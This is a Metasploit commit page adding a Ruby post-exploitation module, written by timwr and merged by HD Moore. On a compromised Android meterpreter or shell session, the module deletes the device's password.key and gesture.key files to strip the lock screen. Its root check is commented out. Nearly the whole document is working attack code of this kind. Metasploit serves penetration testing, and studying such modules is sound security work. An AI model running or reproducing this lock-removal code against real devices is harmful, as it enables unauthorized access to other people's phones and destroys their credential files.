Land #5413, add remove lockscreen for Android meterpreter

bug/bundler_fix
HD Moore 2015-09-03 12:43:05 -05:00
commit 660c31e28b
No known key found for this signature in database
GPG Key ID: 7549FB3DB1DD1F32
1 changed files with 49 additions and 0 deletions

View File

@ -0,0 +1,49 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit4 < Msf::Post
include Msf::Post::Common
def initialize(info={})
super( update_info( info, {
'Name' => "Android Root Remove Device Locks",
'Description' => %q{
This module uses root privileges to remove the device lock.
In some cases the original lock method will still be present but any key/gesture will
unlock the device.
},
'Privileged' => true,
'License' => MSF_LICENSE,
'Author' => [ 'timwr' ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Platform' => 'android',
}
))
end
def run
id = cmd_exec('id')
unless id =~ /root/
#print_error("This module requires root permissions")
#return
end
%W{
/data/system/password.key
/data/system/gesture.key
}.each do |path|
print_status("Removing #{path}")
cmd_exec("rm #{path}")
end
print_status("Device should be unlocked or no longer require a pin")
end
end